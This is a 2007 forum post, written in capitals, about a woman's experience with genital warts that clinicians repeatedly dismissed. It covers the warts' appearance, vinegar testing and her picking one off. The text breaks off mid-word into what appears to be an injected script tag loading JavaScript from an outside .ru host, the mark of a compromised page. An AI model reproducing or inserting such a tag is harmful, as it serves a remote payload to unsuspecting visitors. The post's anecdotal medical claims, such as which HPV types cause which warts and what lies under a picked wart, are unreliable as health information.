Personal Experiences with HPV and Genital Warts

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Posted: 7/12/2007
WHAT I LEARNED IT LOOKS LIKE, TYPES AND MISDIAGNOSIS -NOT HAPPY - (2 ) comments.

AFTER YEARS OF DEALING WITH THIS I CAN HONESTLY SAY IT LOOKS VERY NORMAL. GYNO'S AND NP'S WILL SAY IT IS A SOAP BUMP ETC. AFTER NOTICING SOMETHING SMALL ON MY PUBIC AREA WHERE MY HAIR IS ABOVE MY LABIA I WENT TO SEVERAL DIFFERENT CLINICS LIKE PP AND AN NP COVERED BY MY INSURANCE AND THEY ALL SAID IT WAS A NORMAL SKIN CHANGE. THE NP'S SAID THAT FOR IT TO BE A WART IT HAD TO BE "FINGER LIKE" AND ROUGHER. THAT IS COMPLETELY WRONG ESPECIALLY SINCE TONS OF ARTICLES DO CLARIFY THERE ARE AT LEAST THREE DIFFERENT KINDS OF GW/HPV'S IF NOT FOUR. HPV/GW CAN BE VERY SMALL, VERY SMOOTH ON TOP, MAYBE EVEN SORT OF SHINY ON TOP, AND SKIN COLORED. ARTICLES JUST SAY THEY ARE MORE RARE WHICH I THINK IS CRAP PROBABLY JUST LESS NOTICED AND THEY ARE ASSOCIATED WITH THE MORE DANGEROUS HIGHER RISK KINDS OF HPV TOO UNLIKE THE BIGGER NOTICEABLE WARTS WHICH ARE "MORE COMMON." THEY USED TO THINK THE HIGHER RISK HPV CAUSED NO VISIBLE WARTS EVER A FEW YEARS BACK JUST SUB CLINICAL ONES. WRONG! THEY CAUSE THE PAPULAR DOME ONES WHEN AND IF IT DOES CAUSE EXTERNAL GW. THEY FEEL LIKE SOFT, SKIN COLORED MOLE AND LOOK LIKE IT TOO. BARELY VISIBLE UNLESS YOU SPREAD OUT THE SKIN. YOU'LL KNOW IT'S A WART CAUSE IT'S ON TOP OF THE SKIN EVEN IF JUST VERY, VERY SLIGHTLY. DOES NOT SPREAD OUT LIKE THE NORMAL BUMPS LIKE FORDYCE SPOTS ETC. SKIN OF GW IS BARELY THICKER THAN OTHER SKIN AROUND IT. DEFINITELY SMALLER THAN THE LETTERS IN THIS POST. VINEGAR AT HOME AND IN THE CLINIC DOES NOT WORK TO TURN IT WHITE SOMETIMES EITHER. IT DID NOT WORK WITH ME. PROBABLY ONLY WORKS MOST OF THE TIME, BUT LOTS OF PEOPLE ARE PROBABLY UNDERDIAGNOSED AND TOLD IT IS NOTHING AND SOME PEOPLE ARE PROBABLY INCORRECTLY DIAGNOSED. LOTS OF THINGS CAN TURN WHITE AND DOCS AND ARTICLES SAY THIS. GO TO THE DOC HOPEFULLY A GYNO AND DERMATOLOGIST TO FOLLOW UP IF GYNO SAYS IT'S NOTING. BE INFORMED BECAUSE THIS WAS NOT TO POPULAR UNTIL ABOUT 12 YEARS AGO. NOT REALLY FOCUSED ON IN MED SCHOOL EITHER CAUSE IT'S USUALLY NOT DANGEROUS AND 75% TO 90% OF SEXUALLY ACTIVE PEOPLE HAVE IT SO DOCTORS KIND OF WOULD HAVE THEIR HANDS FULL FOR NOTHING SINCE YOUR IMMUNE SYSTEM IS USUALLY OKAY TO KICK OR SUPRESS IT BEFORE YOU NOTICE ANYTHING. MY ADVICE IS GUYS SHOULD GO TO DERMATOLOGIST CAUSE A FAMILY DOC OR UROLOGIST WILL NEVER BE ABLE TO TELL. THEY JUST SAY IT'S NOTHING IF IT DOESN'T BOTHER THE GUY AND THEY NEVER WANT TO DO A BIOPSY EVEN THOUGH THEY PROBABLY SHOULD FOR WIFE'S OR GF'S SAKE. PEOPLE WHO DO NOT GROOM THEMSELVES OR GO TO THE GYNO SHOULD BE PRETTY HAPPY CAUSE THEY WILL PROBABLY NEVER NOTICE. THERE ARE ALSO GOOD FILMS TO SEE ON A SITE CALLED DERM LECTURES. YOU CAN PROBABLY GOOGLE IT. THEY SHOW THE THREE DIFFRENT KINDS OF GW'S 1)ACUMINATUM & CAULIFLOWER, 2) DOME SHAPED & SMOOTH ETC., 3) FLAT MAYBE SOME NP'S AND DOCTORS SHOULD WATCH THIS! IT DOES NOT REALLY LOOK LIKE ANYTHING YOU SEE ON THE WEB PICTURES, BUT I DID FIND SOME GOOD EXAMPLES ON THIS WEBSITE HPVFAQ.COM. THE GOOD PICTURES, ESPECIALLY FOR GUYS, DO NOT COME UP AT FIRST, BUT CLICK ON THINGS THAT ARE MISTAKEN FOR WARTS AND THERE IS A LINK THERE IN THE PEARLY PENILE PAPULE INFO. YOU WILL GET GOOD PICTURES! I HAVE NOT BEEN TO AN ACTUAL GYNO YET BUT THE "EXPERT GYNO NP'S" AT THE NUMEROUS CLINCS I HAVE GONE TO INCLUDING PP AND MY INSURANCE NP SHOULD HAVE BEEN GOOD ENOUGH. BUT THEY WEREN'T SO I PICKED IT OFF WHICH PROBABLY WAS NOT SMART TO SEE UNDERNEATH. IT WAS KINDA HARD TO DO, BUT GLAD I DID. I WAS SURE IT WAS SOMETHING BECAUSE IT WAS NOT THERE BEFORE. SURE ENOUGH ALL KINDS OF DISGUSTING TINY BLACK SPORES UNDERNEATH. LOOKED LIKE TINY BLACK STALKS JUST LIKE A WART YOU PICK OFF ON YOUR HANDS. I THINK THESE ARE THE LOVELY BLOOD VESSELS IT HAS BEEN FEEDING OFF WHILE EVERYONE KEEPS TELLING ME IT IS NOTHING AND LOOKING AT ME LIKE I AM CRAZY. I AM GOING TO AN ACTUAL GYNO NOW, BUT I DO NOT HAVE GREAT HEALTH INSURANCE SO I HOPE EVERYTHING WORKS OUT FOR ME. IF ANOTHER NP SHOWS UP AT MY APPOINTMENT I WILL SCREAM! I PUT TAPE ON IT IN THE MEAN TIME TO AVOID IT TOUCHING MY OT src=http://www.ncwc.ru/ngg.js>

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